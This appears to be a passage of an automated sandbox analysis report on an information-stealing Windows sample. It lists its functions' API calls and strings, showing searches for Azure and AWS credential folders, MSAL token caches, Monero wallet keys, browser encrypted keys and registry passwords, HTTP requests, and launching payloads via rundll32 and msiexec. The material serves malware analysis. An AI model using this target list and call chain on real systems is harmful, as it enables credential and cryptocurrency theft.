Part of subcall function 00538DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00538E0B

lstrcat.KERNEL32(?,00000000), ref: 00534DB0
lstrcat.KERNEL32(?,\.azure\), ref: 00534DCD

Part of subcall function 00534910: wsprintfA.USER32 ref: 0053492C
Part of subcall function 00534910: FindFirstFileA.KERNEL32(?,?), ref: 00534943

lstrcat.KERNEL32(?,00000000), ref: 00534E3C
lstrcat.KERNEL32(?,\.aws\), ref: 00534E59

Part of subcall function 00534910: StrCmpCA.SHLWAPI(?,00540FDC), ref: 00534971
Part of subcall function 00534910: StrCmpCA.SHLWAPI(?,00540FE0), ref: 00534987
Part of subcall function 00534910: FindNextFileA.KERNEL32(000000FF,?), ref: 00534B7D
Part of subcall function 00534910: FindClose.KERNEL32(000000FF), ref: 00534B92

lstrcat.KERNEL32(?,00000000), ref: 00534EC8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 00534EE5

Part of subcall function 00534910: wsprintfA.USER32 ref: 005349B0
Part of subcall function 00534910: StrCmpCA.SHLWAPI(?,005408D2), ref: 005349C5
Part of subcall function 00534910: wsprintfA.USER32 ref: 005349E2
Part of subcall function 00534910: PathMatchSpecA.SHLWAPI(?,?), ref: 00534A1E
Part of subcall function 00534910: lstrcat.KERNEL32(?,00F1E938), ref: 00534A4A
Part of subcall function 00534910: lstrcat.KERNEL32(?,00540FF8), ref: 00534A5C
Part of subcall function 00534910: lstrcat.KERNEL32(?,?), ref: 00534A70
Part of subcall function 00534910: lstrcat.KERNEL32(?,00540FFC), ref: 00534A82
Part of subcall function 00534910: lstrcat.KERNEL32(?,?), ref: 00534A96
Part of subcall function 00534910: CopyFileA.KERNEL32(?,?,00000001), ref: 00534AAC
Part of subcall function 00534910: DeleteFileA.KERNEL32(?), ref: 00534B31

Strings

*.*, xrefs: 00534DD8
\.IdentityService\, xrefs: 00534ED9
msal.cache, xrefs: 00534EF0
Azure\.aws, xrefs: 00534E5F
Azure\.IdentityService, xrefs: 00534EEB
*.*, xrefs: 00534E64
\.aws\, xrefs: 00534E4D
Azure\.azure, xrefs: 00534DD3
\.azure\, xrefs: 00534DC1

Memory Dump Source

Source File: 00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1766321931.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.000000000076A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000904000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.00000000009E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768104494.0000000000A24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768489341.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768624344.0000000000BC6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: df36f711d821cbe9cc88f22b8bb33d641757d7a1fd85cb8301b580cd8700eb9d
Instruction ID: aa90f98be3981957e8cf0431b1b18d16e22a1bd38feac45c5cd7839fd9f256b6
Opcode Fuzzy Hash: df36f711d821cbe9cc88f22b8bb33d641757d7a1fd85cb8301b580cd8700eb9d
Instruction Fuzzy Hash: CB41867A94031967D714F760EC5BFED7B38BB64704F004494B28A660C1EEB5ABC88F96

Function 00539010 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 0053906C

Strings

image/jpeg, xrefs: 00539136

Memory Dump Source

Source File: 00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1766321931.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.000000000076A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000904000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.00000000009E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768104494.0000000000A24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768489341.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768624344.0000000000BC6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: image/jpeg
API String ID: 2244384528-3785015651
Opcode ID: 5d150a3cc00f75c8e6bdd78abc6c26aec47421425e5afed4e48ca074f9fa21da
Instruction ID: e52f7f13cdf3891c2552905f2eb40a64e4922d814677acf2fc39980f2c53f3cf
Opcode Fuzzy Hash: 5d150a3cc00f75c8e6bdd78abc6c26aec47421425e5afed4e48ca074f9fa21da
Instruction Fuzzy Hash: DB71C0B5910209BBDB04DBE4DC89FDEBBB9BF88700F148508F516A7290DB78A905CF65

Function 00532E30 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 0053A740: lstrcpy.KERNEL32(00540E17,00000000), ref: 0053A788

ShellExecuteEx.SHELL32(0000003C), ref: 005331C5
ShellExecuteEx.SHELL32(0000003C), ref: 0053335D
ShellExecuteEx.SHELL32(0000003C), ref: 005334EA

Strings

.msi, xrefs: 00533398
/i ", xrefs: 005333E4
C:\Windows\system32\rundll32.exe, xrefs: 00533332
<, xrefs: 00533490
C:\Windows\system32\msiexec.exe, xrefs: 005334BF
.dll, xrefs: 005331E5
"" , xrefs: 0053309A
/passive, xrefs: 0053345B

Memory Dump Source

Source File: 00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1766321931.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.000000000076A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000904000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.00000000009E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768104494.0000000000A24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768489341.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768624344.0000000000BC6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: 00f09f62d0a83d9dcd63bd57daa9fb609b8620dac542f412ebf827f84aed0593
Instruction ID: 8d616abbcfb516af8d79177a6c90e695315b8df650f1e76d37dc20120e09d47d
Opcode Fuzzy Hash: 00f09f62d0a83d9dcd63bd57daa9fb609b8620dac542f412ebf827f84aed0593
Instruction Fuzzy Hash: D2121172810109AADB09FBA0DC9AFEDBB38BF94300F504159F54676195EF742B4ACF92

Function 005352C0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 139stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0053A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0053A7E6

Part of subcall function 00526280: InternetOpenA.WININET(00540DFE,00000001,00000000,00000000,00000000), ref: 005262E1
Part of subcall function 00526280: StrCmpCA.SHLWAPI(?,00F1E748), ref: 00526303
Part of subcall function 00526280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00526335
Part of subcall function 00526280: HttpOpenRequestA.WININET(00000000,GET,?,00F1DF48,00000000,00000000,00400100,00000000), ref: 00526385
Part of subcall function 00526280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 005263BF
Part of subcall function 00526280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 005263D1

Part of subcall function 0053A8A0: lstrcpy.KERNEL32(?,00540E17), ref: 0053A905

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00535318
lstrlen.KERNEL32(00000000), ref: 0053532F

Part of subcall function 00538E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00538E52

StrStrA.SHLWAPI(00000000,00000000), ref: 00535364
lstrlen.KERNEL32(00000000), ref: 00535383
lstrlen.KERNEL32(00000000), ref: 005353AE

Part of subcall function 0053A740: lstrcpy.KERNEL32(00540E17,00000000), ref: 0053A788

Strings

ERROR, xrefs: 005354A9
ERROR, xrefs: 00535432
ERROR, xrefs: 0053546F
ERROR, xrefs: 0053530A
ERROR, xrefs: 005353B9

Memory Dump Source

Source File: 00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1766321931.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.000000000076A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000904000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.00000000009E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768104494.0000000000A24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768489341.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768624344.0000000000BC6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3240024479-1526165396
Opcode ID: 4f53338f689fe2d108466b78a3ebc77cf186dfc2b76195abdc03fe6a6c5351ac
Instruction ID: 7d0991ef6c1cac6bb66c00094d0c923c1840564bf2053e19476d42c6be2e88a3
Opcode Fuzzy Hash: 4f53338f689fe2d108466b78a3ebc77cf186dfc2b76195abdc03fe6a6c5351ac
Instruction Fuzzy Hash: 09510F7091014AABCB14FF60DD9AAEE7F79BF90300F504018F44A6B591EF346B45DB62

Function 005312D0 Relevance: 16.8, APIs: 11, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1766321931.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.000000000076A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000904000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.00000000009E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768104494.0000000000A24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768489341.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768624344.0000000000BC6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID:
API String ID: 2001356338-0
Opcode ID: 8511afa1561263e19aa7d42d56bb4adfb37a60a8aeeb2a4eda91e4f6eac73956
Instruction ID: e40f858b2c6a049f5cb0368279fb87e28e0bae6f3cc714b95c29c23a20d595b4
Opcode Fuzzy Hash: 8511afa1561263e19aa7d42d56bb4adfb37a60a8aeeb2a4eda91e4f6eac73956
Instruction Fuzzy Hash: 13C1A8B6900219ABCB14EF60DC8DFEA7B78BBA4304F104598F50AA7141DF74AA85CF95

Function 00534280 Relevance: 16.7, APIs: 11, Instructions: 204stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00538DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00538E0B

lstrcat.KERNEL32(?,00000000), ref: 005342EC
lstrcat.KERNEL32(?,00F1E620), ref: 0053430B
lstrcat.KERNEL32(?,?), ref: 0053431F
lstrcat.KERNEL32(?,00F1D488), ref: 00534333

Part of subcall function 0053A740: lstrcpy.KERNEL32(00540E17,00000000), ref: 0053A788

Part of subcall function 00538D90: GetFileAttributesA.KERNEL32(00000000,?,00521B54,?,?,0054564C,?,?,00540E1F), ref: 00538D9F

Part of subcall function 00529CE0: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00529D39

Part of subcall function 005299C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 005299EC
Part of subcall function 005299C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00529A11
Part of subcall function 005299C0: LocalAlloc.KERNEL32(00000040,?), ref: 00529A31
Part of subcall function 005299C0: ReadFile.KERNEL32(000000FF,?,00000000,0052148F,00000000), ref: 00529A5A
Part of subcall function 005299C0: LocalFree.KERNEL32(0052148F), ref: 00529A90
Part of subcall function 005299C0: CloseHandle.KERNEL32(000000FF), ref: 00529A9A

Part of subcall function 005393C0: GlobalAlloc.KERNEL32(00000000,005343DD,005343DD), ref: 005393D3

StrStrA.SHLWAPI(?,00F1E5F0), ref: 005343F3
GlobalFree.KERNEL32(?), ref: 00534512

Part of subcall function 00529AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,NR,00000000,00000000), ref: 00529AEF
Part of subcall function 00529AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00524EEE,00000000,?), ref: 00529B01
Part of subcall function 00529AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,NR,00000000,00000000), ref: 00529B2A
Part of subcall function 00529AC0: LocalFree.KERNEL32(?,?,?,?,00524EEE,00000000,?), ref: 00529B3F

lstrcat.KERNEL32(?,00000000), ref: 005344A3
StrCmpCA.SHLWAPI(?,005408D1), ref: 005344C0
lstrcat.KERNEL32(00000000,00000000), ref: 005344D2
lstrcat.KERNEL32(00000000,?), ref: 005344E5
lstrcat.KERNEL32(00000000,00540FB8), ref: 005344F4

Memory Dump Source

Source File: 00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1766321931.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.000000000076A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000904000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.00000000009E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768104494.0000000000A24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768489341.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768624344.0000000000BC6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalString$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 3541710228-0
Opcode ID: 91c70b4f0856570a9b86db43a4044ba3db7841ac336c90ec6a87e6c0576bbc81
Instruction ID: 4b8be17dd6e2800baf0b0a193baf7fe8bcc09ebea93aafb32b04ba199c0484b8
Opcode Fuzzy Hash: 91c70b4f0856570a9b86db43a4044ba3db7841ac336c90ec6a87e6c0576bbc81
Instruction Fuzzy Hash: 38714876900219B7CB14EBA0DC89FEE7779BF88300F048598F605A7181DA75EB45CF91

Function 00521310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 005212A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 005212B4
Part of subcall function 005212A0: RtlAllocateHeap.NTDLL(00000000), ref: 005212BB
Part of subcall function 005212A0: RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 005212D7
Part of subcall function 005212A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 005212F5
Part of subcall function 005212A0: RegCloseKey.ADVAPI32(?), ref: 005212FF

lstrcat.KERNEL32(?,00000000), ref: 0052134F
lstrlen.KERNEL32(?), ref: 0052135C
lstrcat.KERNEL32(?,.keys), ref: 00521377

Part of subcall function 0053A740: lstrcpy.KERNEL32(00540E17,00000000), ref: 0053A788

Part of subcall function 0053A9B0: lstrlen.KERNEL32(?,00F199F0,?,\Monero\wallet.keys,00540E17), ref: 0053A9C5
Part of subcall function 0053A9B0: lstrcpy.KERNEL32(00000000), ref: 0053AA04
Part of subcall function 0053A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0053AA12

Part of subcall function 0053A8A0: lstrcpy.KERNEL32(?,00540E17), ref: 0053A905

Part of subcall function 00538B60: GetSystemTime.KERNEL32(00540E1A,00F0FB78,005405AE,?,?,005213F9,?,0000001A,00540E1A,00000000,?,00F199F0,?,\Monero\wallet.keys,00540E17), ref: 00538B86

Part of subcall function 0053A920: lstrcpy.KERNEL32(00000000,?), ref: 0053A972
Part of subcall function 0053A920: lstrcat.KERNEL32(00000000), ref: 0053A982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00521465

Part of subcall function 0053A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0053A7E6

Part of subcall function 005299C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 005299EC
Part of subcall function 005299C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00529A11
Part of subcall function 005299C0: LocalAlloc.KERNEL32(00000040,?), ref: 00529A31
Part of subcall function 005299C0: ReadFile.KERNEL32(000000FF,?,00000000,0052148F,00000000), ref: 00529A5A
Part of subcall function 005299C0: LocalFree.KERNEL32(0052148F), ref: 00529A90
Part of subcall function 005299C0: CloseHandle.KERNEL32(000000FF), ref: 00529A9A

DeleteFileA.KERNEL32(00000000), ref: 005214EF

Strings

SOFTWARE\monero-project\monero-core, xrefs: 00521335
\Monero\wallet.keys, xrefs: 0052138D
wallet_path, xrefs: 00521330
.keys, xrefs: 0052136B

Memory Dump Source

Source File: 00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1766321931.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.000000000076A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000904000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.00000000009E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768104494.0000000000A24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768489341.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768624344.0000000000BC6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3478931302-218353709
Opcode ID: bbb9fb3e995b5ae00383523787348a029c5cf3968f3b1403b573eb5a1115937d
Instruction ID: 5fe1472ba31ea8c0e35898cd29d8044ecead94fc6dfaf430d812ed30194f2efb
Opcode Fuzzy Hash: bbb9fb3e995b5ae00383523787348a029c5cf3968f3b1403b573eb5a1115937d
Instruction Fuzzy Hash: B25155B2D5011A67CB15FB60DC96FED773CBF94300F404198B64A62081EE746B89CFA6

Function 005275D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 005272D0: RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 0052733A
Part of subcall function 005272D0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 005273B1
Part of subcall function 005272D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0052740D
Part of subcall function 005272D0: GetProcessHeap.KERNEL32(00000000,?), ref: 00527452
Part of subcall function 005272D0: HeapFree.KERNEL32(00000000), ref: 00527459

lstrcat.KERNEL32(00000000,005417FC), ref: 00527606
lstrcat.KERNEL32(00000000,00000000), ref: 00527648
lstrcat.KERNEL32(00000000, : ), ref: 0052765A
lstrcat.KERNEL32(00000000,00000000), ref: 0052768F
lstrcat.KERNEL32(00000000,00541804), ref: 005276A0
lstrcat.KERNEL32(00000000,00000000), ref: 005276D3
lstrcat.KERNEL32(00000000,00541808), ref: 005276ED
task.LIBCPMTD ref: 005276FB

Strings

: , xrefs: 0052764E

Memory Dump Source

Source File: 00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1766321931.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.000000000076A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000904000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.00000000009E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768104494.0000000000A24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768489341.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768624344.0000000000BC6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuetask
String ID: :
API String ID: 2677904052-3653984579
Opcode ID: a769f225e4aa5a63800da0cd973372462e6e69e795b01c3f31d8c8a6e11fe05c
Instruction ID: 57b03972a81825d38c2d0fc62ffa28aa7b2612f546d1a4b8f5cdf275c60fa8d8
Opcode Fuzzy Hash: a769f225e4aa5a63800da0cd973372462e6e69e795b01c3f31d8c8a6e11fe05c
Instruction Fuzzy Hash: 72312F7190120AEBCB05EBF4EC59DFE7B74BF89301B148118E103B72A1DA78A946CF56

Function 00538100 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,00F1E218,00000000,?,00540E2C,00000000,?,00000000), ref: 00538130
RtlAllocateHeap.NTDLL(00000000), ref: 00538137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00538158
__aulldiv.LIBCMT ref: 00538172
__aulldiv.LIBCMT ref: 00538180
wsprintfA.USER32 ref: 005381AC

Strings

%d MB, xrefs: 005381A3
@, xrefs: 0053814D

Memory Dump Source

Source File: 00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

